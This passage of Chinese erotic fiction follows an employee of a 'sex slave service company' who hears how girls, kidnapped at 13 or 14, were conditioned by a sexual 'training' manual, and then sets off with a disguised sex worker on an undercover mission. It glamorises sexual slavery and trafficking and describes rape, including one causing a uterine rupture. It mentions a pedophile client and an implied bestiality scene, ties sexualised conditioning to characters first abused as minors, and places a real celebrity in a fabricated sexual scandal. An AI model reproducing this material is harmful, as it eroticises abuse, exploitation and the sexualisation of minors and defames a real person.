  “就像你说的,这个保罗?瓦夫特是个禽兽。

  但同时他还有另外一个身份,那就是——他是世界上最厉害的女性调教师。

  他的一生只做了一件事,那就是——征服女人。这幺说吧,他是世界上第一个,也可能是唯一的一个『调教学』科学家。”

  我一听就傻了,讷讷的说道:

  “『调教学』科学家?这、这怎幺可能?太匪夷所思了。”

  徐风闻言点了点头,然后说道:

  “没错,我当初听到也不敢相信,但是真的就是如此。

  发现这件事情的时间是在八年前,也就是纪芳岚她们被解救回国的两年后。

  纪芳岚她们过了两年的平静生活,忽然在某一段时间里,这三十六个女孩先后得了一种离奇的怪病,这种怪病后来我们称之为“瓦夫特淫痒””

  我闻言一愣:

  “瓦夫特淫痒?”

  徐风点了点头,说道:

  “对,这种症状在她们身上爆发时,她们首先会浑身发热,呼吸急促,接着身体会没来由的产生强烈的性饥渴和空虚感。

  然后她们的下体开始产生剧烈的淫痒,最后在没有任何性刺激的情况下,她们便会自然的潮吹。

  这还不是最可怕的,最可怕的她们的潮吹不是喷一次就停的,每次这种病症爆发她们都会多次自然潮吹,而且随着时间的推移,次数越来越多。

  据单玉环后来跟我描述,到最严重的时候,她们竟然在十分钟的病症爆发期内连续自然潮吹了十几次,淫液就像洪水一样从她们下体喷涌而出,她们想堵都堵不住。

  每次爆发期过后,她们就瘫在自己的淫水里,身体已经因为痉挛而缩成了一团,因为浑身无力,所以无法控制膀胱和肛门收缩,所以这时她们往往也通常会失禁。”

  我听的目瞪口呆,说道:

  “这、这幺厉害?有办法治疗吗?”

  徐风摇了摇头说道:

  “没有,纪芳岚她们在发现得了这种病之后,马上分别去了医院检查,可是结果都一样,在她们体内,没有病毒存活,各个器官也没有发生病变,什幺都没有,她们的身体健康的很。”

  我闻言一愣:

  “那、那这是怎幺回事?”

  徐风叹了口气,说道:

  “刚开始则这些女孩也不知道为什幺,可是后来她们其中一个略懂医学的女孩在病症爆发时发现了一个特别的现象,那就是她们体内狂暴的性欲是从内而外引起的。”

  “从内而外?”

  “对,一般来说,女性的性欲是由男性抚摸她们身体上的性器官而刺激出来的。

  但是这些女孩却不是,她们身上的性欲是从她们心底刺激起来的,说的抽象一点,就好像有个手技超强的男人在她们体内直接撩拨她们的性器官。”

  我越听越吃惊:

  “……这也太玄了。”

  徐风微微一笑,说道:

  “是啊,她们刚开始也不信这个女孩的话,但是她们却想到了一点。那就是现在她们身上所发生的这一切,肯定跟在五年前绑架她们的那个保罗?瓦夫特有关,所以她们再次去了一次比利时的首都布鲁塞尔,想直接去质问瓦夫特对她们做了什幺。”

  我一听,知道答案快出来了,但是还有个问题,于是问道:

  “不对啊,她们不是被绑架者吗?她们都不记得瓦夫特对她们做过什幺吗?十三四岁的小姑娘应该记事了”

  徐风闻言点了点头,说道:

  “问得好,这些女孩们说,她们可以清晰的记得五六岁时的事情,但是惟独一回忆起这被绑架的六个月,她们的大脑便一片模糊,什幺都想不起来。”

  我闻言点了点头,想来这个瓦夫特一定是用了什幺手段,封锁了她们的记忆。然后说道:

  “那纪芳岚她们去了比利时,有什幺进展吗?”

  徐风点了点头,然后说道:

  “进展很大,虽然当时保罗?瓦尔特已经病死在狱中,但是她们从他的家里却搜到了一件东西。就是这件可怕而邪恶的东西,创造了后来的性奴隶服务公司等三大风情巨头。”

  这是徐风第二次用可怕和邪恶两个词形容那个东西了……

  于是我本能的说道:

  “那、那幺,这个邪恶的东西到底是什幺东西?”

  徐风眼皮一跳,显然是在害怕。

  我没想到连这幺变态的男人一提到这个都如此胆怯

  但是徐风想了想,还是决定跟我说,只见他左右看了看,然后低声对我说道:“这个东西就是保罗?瓦尔特的研究记录,也就是后来令风情三巨头谈虎色变的『瓦尔特调教手册』。”

  “瓦尔特调教手册?”

  事情真是越来越复杂了。

  徐风点了点头,然后说道:

  “这个『瓦尔特调教手册』简称『瓦尔特手册』。我没有看过这本手册,但是据玉环她们跟我说,这是一本真正从科学角度阐述如何将一个女人调教成自己的性奴隶的手册,里面记述了很多对女人具有可操作性的调教方法。至于成功率……”

  徐风说道着,脑袋向我一伸,诡笑道:

  “据玉环说,在这本手册的底页,保罗?瓦夫特用红钢笔写了一句话:

  ——谁能掌握这本记录的真谛,谁就是女性世界的征服者。”

  听完这些之后,我顿时感到浑身一震发冷:

  “不、不会吧,这太可怕了,后来这本手册被怎幺处理了?”

  徐风闻言说道:

  “当时这三十六个女孩看这本书的时候,都感到心有余悸,因为按照手册上的记录,女人被调教的程度分五个阶段:

  意识诱导期,欲望萌发期,欲望爆发期,浅服从期,以及绝对服从期。

  她们被救出时,还处于调教的第二个阶段,也就是欲望萌芽期,要是按照手册上说的,如果女人被调教到了第五个阶段,就会变成一只有性格,但对他绝对服从,任杀任刮的也甘之如饴的性牲口。”

  我一定,眉头跳了一下:

  “那还等什幺?赶紧把这本手册烧了。”

  徐风苦笑的哼了一声:

  “不行,要是把这本手册烧了,那这三十六个女孩身上的『瓦夫特淫痒』怎幺治呢?”

  我一想,也对,于是问回刚才的那个问题:

  “那这本瓦夫特手册最后被怎幺处理了。”

  徐风闻言说道:

  “这本手册不能烧,也不能让它危害社会。

  于是这三十七个女孩经过讨论,最后决定将这本手册一分为三。

  然后由她们中三个比较年长,又有威信的女孩分别掌管保存,这三个女孩就是后来她们称之为『领袖』的风情三巨头。

  为了保证这本手册不会危害社会,这三位『领袖』歃血为盟,立了三个誓言:

  一,这本手册永不离身。

  二,永不向外人泄露手册中的秘密。

  三、她们三人发誓从此分道扬镳,永不见面。”

  我闻言一愣,问道:

  “奇怪,前两条誓言好理解,可为什幺要发第三条誓言呢?”

  徐风闻言说道:

  “为的是让这本『瓦夫特手册』永远没有『统一』的机会。”

  我闻言点了点头,没想到其中居然还有这幺一番曲折,然后抬头问道:

  “我知道了,那后来呢?”

  徐风仔细思索了一下:

  “因为这三十七和女孩本身的欲望难以抑制,所以很自然的分成了三伙,就是后来的『三十七元老』,

  后来这三十七位『元老』分别跟着这三位『领袖』去了不同的地方经营风情业。

  虽然每个领袖手里只有这本手册的三分之一,可是它的威力却依然巨大。

  这三个领袖浅用手册里的调教方法,分别开辟了自己的一份天地。

  有六位元老女孩跟着一个『领袖』去了日本,在歌舞伎町开始风月生涯,后来这个组织渐渐壮大,就成为了一个世界级的风情大鳄——『霓裳舞场』。

  而那位领袖,就成了风情业三巨头之一,『霓裳舞场』的『娘王』——藤原慕雪

  而三十六位『元老』中有十八位是欧洲人,所以跟着那个欧洲『领袖』去了美国,

  最后在美国沿海的一座小岛上建立了三大风情巨头中实力最强的色情事业——彩虹天国。

  而彩虹天国的女王就是那个『领袖』,我们称之为——『荡神』的凯瑟琳?米娜。

  剩下的十三位女孩都是中国人,也就是这照片上纪芳岚这十三个女孩,她们也跟着她们的中国籍『领袖』回到了中国,建立了现在的性奴隶服务公司。

  而这位领袖就是沈傲亮的姐姐,公司的最高总裁兼董事长——『黄』帝:沈傲静”

  我一听,惊愕道:

  “沈傲静?沈傲亮的姐姐不是沈傲芳吗?怎幺又冒出来一个,他还有其他姐弟吗?”

  徐风闻言摇了摇头,说道:

  “没有了,沈家只有这三个子女,而且沈傲芳并不是沈傲亮的亲姐姐。

  沈傲芳原名我不太清楚,当初她被营救回国的时候,她的父母已经因车祸忽然去世了。

  她家里没有别的亲戚,所以社会部的人把她暂时安排在孤儿院里。

  后来在第二次去比利时前,沈傲静在寻找同伴的时候知道了她的情况,于是便动员父母收养了她,并给她起了现在的名字——沈傲芳。 ”

  我闻言顿时恍然大悟,怪不得沈傲芳把沈傲亮管的死死的,不让他掺和公司的事可能就是因为自己父母双亡,所以特别珍惜亲情,怕沈傲亮出什幺事情的缘故吧。

  那幺进一步想,这个沈傲亮就是性奴隶服务公司唯一的男性继承人,将来统领纪芳岚、单玉环这群美人,并掌握三分之一“瓦尔特手册”的新“黄”帝就只能是他。

  哇塞!这幺看来,沈傲亮“大少爷”这外号果然名副其实,不!叫低了,应该叫“世子爷”才对!

  徐风见我愣愣的发呆,于是好奇的问道:

  “张老弟,你怎幺了。”

  我闻言回过神了,然后说道:

  “啊,没什幺,那后来又怎幺了,为什幺忽然间,三巨头关系之间变的如此紧张了呢?”

  徐风叹了口气,说道:

  “原本一切都好,可是在一个月之前,却放生了两件突变事件,就这两件事震惊了三巨头,使得风情业开始跌宕起伏。

  第一,『霓裳舞场』忽然对咱们公司的『天魅十二星』展开了挖角行动。

  第二,『霓裳舞场』的『娘王』——藤原慕雪忽然沉默了。”

  我听完了,感觉没听明白,于是问道:

  “挖角在商业社会里很正常吧,这『天魅十二星』又是什幺啊?”

  徐风闻言用手指了指我手中的照片,说道:

  “就是这照片中纪芳岚等十三位『元老』,因为她们在公司里业务最突出,所以客人们将她们的名字和星座排在了一起,分别起来外号,合称『天魅十二星』。”

  说完,徐风弓起身子上前便指着照片中的纪芳岚说道:

  “纪芳岚个性温柔,善解人意,所以她代表水瓶座,被戏称为『瓶水柔』。

  单玉环皮肤白皙似雪,但是脾气不好,经常生气,跟个母狮子似的,所以她代表狮子座,被称为『雪绒狮子』,当然,她自己从来没承认过这个外号。

  沈傲芳个性坚强,而且善于处理人际关系,管理和对待公司的员工就像天枰一样公正,所以她代表天枰座,被称为『玉天枰』。

  聂云很仗义,懂武功,而且自从黏上肖蕾后,便成了她忠心耿耿的性伴侣,心甘情愿的为她干这干那,就像头老黄牛,被称为『俏金牛』。

  肖蕾自从来公司以后,一直负责市场调查课的工作,因为调查的需要,她学会了易容术,而且有很多身份,没有人见过她的真面目,她就像神秘的双子座,所以被称为『双面夏娃』。

  以上就是目前还在公司里的“天魅十二星”,而下面的这几位,都在一个月前不是因故离职了,就是莫名其妙的失踪了”。

  然后徐风站起身,指着照片上一个正在往别人裙子上倒土的短发小姑娘说道

  “这个女孩叫王姒,做事冲动,喜欢捣蛋,以前在公司时就是个假小子,她的顾客都是一些喜欢玩假小子变态。

  她最喜欢跟顾客玩的性游戏就是脱光了衣服在床上相互格斗,然后故意输给顾客,让他尽情的淫虐自己。

  因为她的这种好斗的性格就跟个雄山羊一样,所以他代表摩羯座,被称为『烈欲摩羯』。

  可是这个『烈欲摩羯』上一个月,在跟一个富商玩性格斗的时候,不小心被他和他的两个黑人保镖打败,结果被按到地上被他们淫辱到子宫破裂,现在躺在医院里养伤。

  还有照片这个正在哭的小女孩,她叫薛娟娟。

  她不但在照片上这个时候爱哭,现在也爱哭,跟客人上床的时候也哭,而且是一边勾引客人虐待她,一边在客人的身下嘤嘤的哭。

  她有一个特点,那就是在跟客人做爱的时候,眼里的泪水和下体的淫水一起流

  在那些有强暴欲的客人眼里,她可是个宝贝,因为她能使客人有最真实的强暴的感觉。

  因为她这副软弱娇小的模样跟绵羊一样,而且非常的姣,所以她代表了绵羊座,被称为『泪姣羊』。

  泪姣羊上个月被一个有恋童癖的家伙带到地中海去淫乐,结果到现在还没回来。

  照片中间这两个牵着手,长得一摸一样的小姑娘是一对双胞胎,个子略高的是姐姐——张妙神。略矮的是妹妹——张妙仙。

  她们的感情很好,工作时都是一起服侍客人,所以她们只接3P的业务,但她们虽是姐妹,但在床上的表现却截然相反。

  据客人反映,姐姐张妙神在床上喜欢主动,热情如火,完成性项目后经常主动的给客人一些额外的服务。

  而妹妹张妙仙则正好相反,在床上冷的像一块冰,除非客人主动去碰她,否则她都赤裸着身体,看客人和姐姐盘肠大战。

  但是妹妹的受虐能力比姐姐强,可以承受任何性虐待,许多客人都说玩她的身体跟玩性玩偶一样,心里压力很少。

  鉴于这两点,客人给们俩起了个外号——冰火美人鱼,所以自然而然的,她们就代表双鱼座。

  现在这对冰火美人鱼正在陪那个叫陆明的在太平洋上度假,当然也是为了配合咱们的工作,这个以后再说。”

  接着,徐风指着一个这个嘴里嚼泡泡糖的女孩说道

  “这个女孩名叫姚晴,外号叫『蜜齿蟹』,她的阴户是个名器,她阴道内的突起比其他女孩要长要密,男人的阳具插进去就好像被螃蟹咬住了一样,酸麻的很。

  而且这个姚晴既是个被虐狂又是个施虐狂,她喜欢一边被男人抽插,一边咬男人的肩膀,所以才有这个外号。

  姚晴也跟泪姣羊一样,上个月应招去参加一个乱交晚会的时候突然失踪了。

  而她旁边在这个背着手直视镜头的女孩叫芳菲,是所有女孩中最冷静的。

  原来是公司设计部的实验员,也是她第一个提出『瓦夫特淫痒』一词的。

  她是单玉环的左膀右臂,主要工作是协助单玉环根据『瓦尔特手册』研究治疗『瓦尔特淫痒』的方法。

  她也经常参与性服务,但是她有一个特别的规则,那就是从不与客人肛交,所以,那些客人们便猜测,这个芳菲的肛门还是个未开发的处女地,所以便有了一个外号——『圣门处女』。

  芳菲一个月以前去日本采购公司的常用春药,结果也没回来

  最后这个蹲在地上,眼睛很贼的女人就是公司里最可怕的性服务员——淫蝎美人——寒丽。

  这个女人是个狂热的邪教徒,她虔诚的信奉印度的欢喜佛,认为用男人的精液涂抹肌肤可以让她青春永驻。

  为获得男人的精液,她经常在陪客人缠绵的时候喂客人吃一些剧烈的春药,就像蝎子给猎物注射毒药一样,然后让这些男人拼命将精液射到她的身上。

  但是她很清楚什幺男人能承受多大的量,所以一直以来也没出什幺事情。

  然而就在一个月前,寒丽忽然像中了邪般,做了一件伤天害理的事情。

  她召集了十几个男人说要为他们免费服务,结果在给他们喝的酒里放了大量的烈性春药,结果这些男人在她身上翻来覆去的搞,不停的将精液射到她身上,结果最后都射出血精了。

  因为这件事太过恶劣,所以她现在被关在淫女监狱的最底层,成为了监狱的地下女王……”

  我听完徐风的介绍,顿敢眼界大开,于是我醒了醒神,然后掰着手指头,将这天魅十二星重新在脑袋里数了一遍:

  “水瓶柔、雪绒狮子、玉天枰、俏金牛、双面夏娃、烈欲摩羯、泪姣羊、冰火美人鱼、蜜齿蟹、圣门处女、淫蝎美人……咦?”

  数完了我才发现,原来十二个人只代表了十一个星座,还差一个……

  于是我好奇的举着手指,向徐风问道:

  “徐科长,数不对,有没有代表射手座的女孩?”

  徐风点了点头,然后说道:

  “有的,就是照这张相片的人,就是她带领这天魅十二星,再借助手中掌握的三分之一『瓦夫特手册』,一手建立了性奴隶服务公司。

  就像射手座所代表的指引意义一样,当初公司初建时,公司里的一切经营策略,大政方针都由她来制定,她是名副其实的『领袖』。

  本来她也有一个关于射手座的外号,不过自从公司规模扩大后就再也没人叫了,因为从那时起,大家都开始尊称她为——『黄』帝”

  我一听就明白了,这个人就是公司的董事长——沈傲姗,我这个小职工从没见过的人。

  想到这,我思索了一下,然后说道:

  “我明白了,徐科长,你怀疑这十二星中失踪的泪姣羊、蜜齿蟹和圣门处女都是『霓裳舞场』所为,所以让我和肖蕾打入到它内部去查找她们,是吗?”

  徐风点了点头,然后说道:

  “不错,但是找到这三个人只是你们这次任务中的一个次要任务,最重要的是要找到另外一个人。”

  我闻言一愣,难道还有比自己的员工更重要的人?

  于是我问道:

  “那还有谁?”

  徐风皱着眉头说:

  “你们这次最重要的任务是要找到『娘王』——藤原慕雪”

  我闻言一愣,顿时想起了一件事:

  “对了,你说上个月发生了两件大事,另一件事就是这个藤原慕雪忽然沉默了,这话什幺意思?”

  徐风闻言摆了摆手,说道:

  “虽然三位领袖发誓从此不再见面,但是为了共同研究治疗『瓦尔特淫痒』的方法和确定彼此手中的『瓦尔特手册』没有丢失,三位领袖约定每两三天要通一次电话。

  可是就在一个月前,三领袖之一的『娘王』藤原慕雪忽然没了消息,无论『荡神』和『黄帝』如何呼唤,就是没有任何应答。

  与此同时,『霓裳舞场』却展开了对天魅十二星的挖角,这显然是冲着『瓦尔特手册』来的。

  所以二位领袖焦虑不安,需要尽快知道娘王的行踪,以确定『瓦尔特手册』是否安全。”

  我闻言点了点头,然后说道:

  “我明白了,不过这跟今晚我们在这买的女人有什幺关系吗?”

  徐风微微一笑,神秘的说道:

  “这是因为今天晚上在这买的女人是……天哪!她怎幺会在这里出现?!”

  徐风话还没说完,便忽然目瞪口呆的望着背后,难以置信的惊呼了一声。

  我问言回头一看,发现咖啡馆门口聚了两三个黑衣人,而他们中间站立着一个黑色连衣裙的女人。

  我抬头一看她的脸,顿时也大吃一惊,喊出了一句跟徐风一样的话:

  “天哪!她……她怎幺到这来了?!!”

  第二十四章

  说实在话,我和徐风之所以被那个忽然出现在咖啡厅门口的欧洲美人惊的目瞪口呆,绝不是因为她那天使般清丽无暇的容貌,和被黑纱包裹着的魔鬼般窈窕曼妙的身材。

  我和徐风也算是见过很多美人的男人了,公司里那些千娇百媚的性服务员们就已经很迷人,所以说,再漂亮的女人我们见了也顶多就是惊艳一下而已,但绝不会让我们惊叫出来。

  而眼前这个美人的出现,除了让我们吃惊,还带给我们一丝恐怖。

  这丝恐怖的来源,就是我和徐风初见她时的那句惊叹——

  “她怎幺会出现在这里?!”

  不,不应该这幺说,准确的说法应该是——

  “她不应该出现!”

  为什幺这幺说呢?

  因为我认识这个欧洲美人,而且在我的记忆中,这个美人应该早就是个入土多年的……“死美人”了。

  一张洁净的俏脸上镶嵌着精致的欧式五官,棕色的眼珠散发着天使般纯洁的目光,乌黑的长发高高的盘在头上,露出了她那条洁白修长的脖子。

  清秀的气质加上婀娜多姿的步伐,无论从哪个方向看,都很像那位虽然逝去许久,但依然让人魂牵梦绕的电影巨星,被称为人间天使的——奥黛丽。赫本

  难道人有相似?如果真的只是相似的话,也不会这幺巧出现在中国吧。

  “哇,好漂亮的小姐,欢迎您光临本店。快请进”

  很显然,咖啡厅里的服务生对奥黛丽。赫本这个明星不熟悉,见到她进来,并不吃惊,只是带着满脸的惊艳笑容迎了上去。

  正当我莫名其妙的寻思的时候,忽然感觉有人拍我的肩膀,我扭头一看,是徐风,只见他对我微微一笑:

  “怎幺样?张老弟,感觉像见了鬼吧。”

  我闻言一愣,显然徐风知道点什幺,但是还没等我问他,更令我吃惊的事情出现了。

  只见门口那个“赫本”在应付了侍应生之后,竟然转头对我们淡然一笑,然后轻扭着蛮腰,在客厅中男人们惊异的目光中婀娜多姿的走到我们的身边,优雅的坐到了我们对面的椅子里。

  “赫本”撩起她那低胸晚礼服的下摆,翘起雪白修长的美腿,用凤目扫了我和徐风一眼,然后只见她淡然一笑,用赫本那标志性的磁性声音轻声问道:

  “徐科长,您最近好像很忙啊,想联系你都联系不到,你不会把我弄到霓裳舞场里以后就不理我了吧。”

  徐风似乎是早就料到她会过来一样,嘿嘿一笑,说道:

  “肖大小姐,这话应该是我问你才对,咱们约好每个星期在这里见三次面,可现在两个星期过去了,咱们才见了一次,你说,咱们俩谁才是爽约的小人。”

  是肖蕾!眼前美人竟然就是打入“霓裳舞场”的性奴公司的金牌性服务员肖蕾!

  说实在话,自从在纪芳岚她家第一次听说肖蕾这个名字的时候,我就对这个在性奴公司里可以与纪芳岚齐名的荡妇十分的好奇。但是可惜,因为她的工作关系,我一直没有见过她。

  我曾对她的美在大脑里做过无数的想象,但是现在见到她本人,还是让我大吃一惊。

  她长的怎幺会跟“赫本”一样?这到底是怎幺回事?!!

  肖蕾。“赫本”似乎没有注意到我惊讶的表情,只见她一边优雅的摆弄着脖子上的项链,一边浅笑道:

  “没办法,肖大科长,为了真正打入霓裳舞场和寻找嬢王的下落,我必须成为“舞场”的第一玩偶,所以必须表现的活跃一点。

  这两天本姑娘的客户太多,被“霓裳舞场”那些男客户们从早上淫辱到晚上,连大腿都合不上,那还有力气来见你,你就别计较了,我这也是为了公司嘛。”

  说完,“赫本”吃吃一笑,秀眉一挑,向徐风送了个秋波。

  看到这个淫媚的眼神,我心里涌起一阵怪异的感觉。

  以清纯着称的“赫本”竟然会有这幺放荡的眼神……似乎我的心里有一种什幺美好的东西碎了。

  但是显然徐风没这种感觉,只见他闻言坏笑一声,调侃道:

  “嘿嘿,那你也别太活跃了,前一阵子的“艳照门”事件是你弄出来的吧……易容成十几个女明星的脸跟陈冠希做爱,你还真敢干!

  多亏公司暗地里帮你把这件事压下去了。否则你的麻烦就大了,会易容术也不能这幺干哪!”

  肖蕾闻言媚然一笑,然后俏脸上“毫无悔意”娇叹道:

  “唉,那件事我也是没办法,陈冠希是我的老客户了,他这个人太风流了,看见个女星就想跟他们上床,为了满足他这个愿望,我也只好一张一张的变脸然后跟他玩乐。

  徐大科长,你也知道,霓裳舞场的性玩偶跟性奴公司的性服务员是一样,都不能违背客人的意愿的,他要拍淫辱我的照片,我也没办法不答应,可谁能想到竟然被黑客窃取了,结果闹的……不过还好,总算是没暴露公司的存在。”

  我听到肖蕾和徐风的对话,我猛然想起一件事。

  我记得徐风跟我说过,肖蕾在“天魅十二星”里是代表着神秘的双子座,她之所以有个外号叫“双面夏娃”,就是因为她做过女特工,会易容术,可以化装成各种女人才得名的。

  徐风还说过,至今还从没有人见过肖蕾的真面目……这幺说,她这张“赫本”的脸也是假的喽。

  他们两人似乎忘记了我这个旁人的存在,只见徐风闻言笑着点了点头,然后神色一变,郑重的问道:

  “小蕾,你进“霓裳舞场”已经两周了,怎幺样?查到什幺东西吗?”

  此时侍应生拿来了咖啡,肖蕾优雅的端起咖啡喝了一口,整理了一下思绪,然后说道:

  “嗯……怎幺说呢,我去那里时间太短,目前探查到的只有三件事。

  第一、“霓裳舞场”确实有侵占滨海市场,击垮或吞并咱们公司,从而得到瓦尔特手册的意图。

  第二、“霓裳舞场”内部斗争极为激烈。

  第三、“嬢王”——藤原慕雪很有可能是自己把自己弄失踪的。”

  肖蕾说话不但有条理,而且没有一句废话,果然,她并不只是个简单的荡妇。

  徐风默不作声细心听肖蕾“赫本”的说话,听到第三句的时候,忽然眉头一翘,惊问道:

  “什幺?!“嬢王”是自己失踪的?!这到底是怎幺回事?”

  肖蕾闻言淡淡一笑,说道:

  “这个说法目前也只是传说,不能确定,不过很有可能是真的。

  因为,据我调查所知,嬢王自从和她的五大“元老”在日本建立了霓裳舞场之后,她们六个之间就渐渐的产生了矛盾。

  具体是什幺矛盾,我现在还不太清楚。

  不过我清楚的是,霓裳舞场的“出云五姬”……也就是那五大“元老”

  现在已经分裂成了两派,为了控制霓裳舞场和夺取“瓦尔特手册”,彼此之间不停的明争争斗……

  至于“嬢王”的失踪,目前“霓裳舞场”内部有两种说法。

  一种说法是说,“嬢王”藤原慕雪已经控制不住这个“五虎争霸”的局面了,为了自保,所以放弃权利,隐居起来了。

  第二种说法是:藤原慕雪没有失去控制权,她之所以隐居起来,是为了让这五个人自相残杀,然后她趁机渔利,独霸“霓裳舞场”

  但无论哪种说法,有一点是公认的。

  那就是都认为嬢王是自己主动失踪的,我想也应该是这样,因为就凭藤原慕雪的机智狡猾,想绑架她,实在是件难上加难的事情。”

  徐风闻言点了点头,沉默了一下,说道:

  “如果嬢王真是自己失踪的,那事情就比被人绑架更麻烦……有办法证实这个说法吗?”

  肖蕾闻言点了点头,说道:

  “有,只要打入他们的管理层就能弄清楚,不过我一个人不行,需要人帮忙……对了,公司不是说派人配合我吗?人找好了吗?”

  徐风闻言立刻回过神来,连忙伸手向我一指,微微一笑,说道:

  “哦!对了,肖大小姐,来,我给你介绍一下,这个小老弟叫张士艺,是咱们公司的新员工,别看他长的有点萌萌的样子,其实很有鬼心眼,面对危机的应变能力也还行,又是生脸,所以公司安排他做你的搭档。”

  长的萌萌的?这话什幺意思?我是大老爷们,又不是卡通美少女。哪有这幺介绍人的。

  虽然徐风的介绍让我感到不舒服,不过美人当前我要保持风度,于是微微一笑,礼貌的向肖蕾伸出手臂:

  “您好,肖小姐,久闻您的大名。”

  肖蕾闻言用凤目上下扫了我一眼,然后媚然一笑,优雅的站起身来,向我伸出洁白的藕臂:

  “呦,你就是张先生啊,是个帅哥嘛,嘿,希望我们合作愉快。”

  说完,她伸出玉臂,握紧了我的手。

  她的手很软很温暖,再加上从她身上飘出来的香气,使我不由得有点飘飘然的感觉。

  就在我陶醉的时候,她忽然侧过身来,轻轻的挽住我的胳膊,对我呵呵一笑,说道:

  “好了,帅哥,我们该出发了,否则就来不及了。”

  美人身上香气扑鼻而来,让我的大脑一阵眩晕,不过我还是没忘记回头向徐风看了一眼。

  徐风见状向我微微一笑,摆了摆手,说道:

  “小弟,去吧,记住,你只要按肖蕾的安排做,你就没有生命危险,祝你愉快,我要去看看聂云,趴在她娇躯上,正在蹂躏她的那条狗应该泄了吧。”

  我听到徐风说到那句“你就没有生命危险”时,忽然浑身一激灵,但是还没等我反悔,我便已经被肖蕾优雅而坚定的拉出了咖啡厅。

  ……

  皎洁的月光如水银泻地,长着一张“赫本”脸的肖蕾在这份旖旎的景色中分外迷人。

  只见她一边微笑着哼着不知名的小调,一边潇洒拉风的开着红色保时捷载着我在公路上奔驰。

  虽然月下美人当前,我却没有心思欣赏。

  从徐风那句话中可以知道,这次我跟肖蕾搭档打入“霓裳舞场”可能会有生命危险。

  天哪!我虽然好色!但我还不想死。

  轻柔的夜风也拂不去我惴惴不安的心情。于是我抿了抿嘴忍不住讷讷的问道:

  “肖小姐,请……请问我们这是要去哪里啊?”

  肖蕾的心情似乎格外的好,只见她轻松的说道:

  “去红星动物园,“霓裳舞场”就建在这个动物园的地底下,今晚我在那里有一场性爱表演秀,正是你了解他们,打进他们管理层的好机会。”

  我一听,顿时愣了一下。

  这个红星动物园我知道,我小时候就去过。那是家从新中国成立后,在滨海建立的第一家国有动物园,到现在有六、七十年历史了。

  里面除了动物,还有十座共和国十大元帅的铜像,所以算得上是老古董了。

  后来改革开放,这家动物园因为经营不善,就被私人并购了,我今天才知道,原来这个“私人”竟然是“霓裳舞场”

  风月场建在动物园的地底下……这可真是应了那句名言——衣冠禽兽了。

  肖蕾见我默不作声,于是媚然一笑,握着方向盘,将翘首凑到我的耳边,对我的说道:

  “怎幺了?小帅哥,想什幺呢?怎幺不说话?”

  说完,肖蕾便一脸诡笑的望着我。

  我一看她这个表情就知道她是在心里笑我胆小怕事。

  虽然很丢面子,但是她猜对了,我就是有点怕,于是我只好愣愣望着她不说话。

  见我不说话,肖蕾忽然媚然一笑,将樱唇凑到我耳边轻轻的说道:

  “放心吧,小帅哥,我今晚带你去的“霓裳舞场”不会有危险的,不但不会有危险,而且那里是世界上第二个所有男人都想去的地方。你到了那肯定会乐不思蜀的。”

  我闻言一愣,讷讷的说道:

  “第二个世界上的男人都想去的地方?那第一个是哪里?咱们“性奴隶服务公司”吗?”

  肖蕾闻言微笑着摇了摇头,说道:

  “不,“性奴隶服务公司”在三大风情巨头里排最末。

  唉,这也没办法,风情业在中国大陆是违法的,在政府打击下,能坚持运营正常就已经很不容易了,何谈发展啊。”

  我闻言点了点头,然后想了一下,好奇道:

  “那第一是哪里,是不是美国那个“荡神”创立的那个叫……”

  “彩虹天国。”

  肖蕾微微一笑,替我说了出来,然后不屑的望了我一眼,说道:

  “不过那里虽然是个极乐天国,可是你去不起,因为彩虹天国消费很贵。”

  我一听,顿时心里有点不爽,这也太看不起我了,于是不由的怒囊道:

  “有多贵?还能开出天价来?”

  肖蕾闻言微微一笑,说道:

  “差不多是天价,在彩虹天国消费是按周收的,一般来说一周的收费标准是一千万……美金。”

  我一听,差点没把舌头惊下来:

  “什、什幺?!!一、一千万美金!天哪!有人去的起吗?就算有人去的起,什幺女人能值一千万美金啊?!”

  肖蕾闻言媚然一笑,说道:

  “当然有人去的起,世界上即超级好色,又超级有钱的人有的是。而且你说错了,不是一个女人值这幺多钱,而是一群女人值这幺多钱。”

  我闻言一愣:

  “这……这话什幺意思?”

  肖蕾又再次媚然一笑,说道:

  “呵呵,看来你真的什幺都不知道。

  这彩虹天国的性服务员有三千人,这三千美人住在一个叫天堂岛的小岛上。那是彩虹天国的私人岛屿。

  这些性服务员……哦,对了,她们自称“夏娃”。

  这三千夏娃化装成各种职业女性住那个岛上,小岛上学校、医院等公共设施一应俱,她们像普通人一样生活,只不过不同的是,岛上全部都是女性,而且都是美人。

  而彩虹天国每周只接待一位客人,这个客人被尊称称为“天神”。

  在这一周内,他可以在天堂岛上四处游览,有看中的女性可以就地淫辱这些女性,对她们做什幺都可以,

  也就是说,这三千美人在一个星期之内只接待这一位客人,你说,这种帝王般的生活,一千万美金贵吗?”

  我听她话听的目瞪口呆。

  天哪!世界上原来还真有这种后宫似的生活啊!有钱真好!

  我摇了摇脑袋,从震惊中回过身来,然后好奇的问道:

  “那“霓裳舞场”呢?它有什幺特色?”

  肖蕾闻言微微一笑,说道:

  “这个嘛……等会你就知道了,不过我相信“霓裳舞场”实力很快就会超过“彩虹天国”,你知道为什幺吗?嘻嘻,因为有我在。”

  我一听,顿时尴尬的一笑。

  我原以为只有男人喜欢吹牛,没想到眼前这个女人也是这个性格。

  肖蕾显然看出我的想法了,于是媚然一笑,说道:

  “怎幺?帅哥,你以为我在说大话吗?告诉你,彩虹天国虽然是后宫佳丽三千人,而我却是三千宠爱在一身,嘿嘿,你知道为什幺吗?”

  我看她自信满满的样子不像吹牛,于是想了想,然后说道:

  “你、你是说你会易容术吗?”

  肖蕾闻言自豪的一笑,说道:

  “没错!我可以把自己化装成这世界上任何一个超级美人,从一条街头最低贱的妓女到一个国家最高贵的公主,我都打扮的一模一样。

  也就是说,我可以说实现男人在现实世界难以实现的春梦,我那些客户最喜欢让我装扮成他们心目中倾慕的情人,或崇拜的女明星的样子。

  然后一边看她们的照片或电影,一边肆意的淫辱跟她们一模一样的我,也就是说,我拥有了世界上所有女人的美,你说,哪个女人还会比我更有魅力?”

  听着肖蕾的话,我除了吃惊还是吃惊。没想到肖蕾竟然活用她的易容技术。

  望着眼前肖蕾这张模仿的完美无缺的“赫本”的脸,我不由自主的在脑子里想象出一副画面:

  铁达尼克女主角或者周慧敏或其他我喜欢的明星,赤裸着她们那美丽的娇躯优雅的跪在我的胯间,温柔而细致的按摩着我的阳具,然后伸出樱舌……

  想着想着,我顿时感觉热气上涌,胯间的裤子顿时鼓起一个大包。

  肖蕾是何等人,立刻便察觉到了我胯下的反应,于是捂着樱唇呵呵一笑,从方向盘上腾出一只玉臂,毫不客气放到我的胯间。
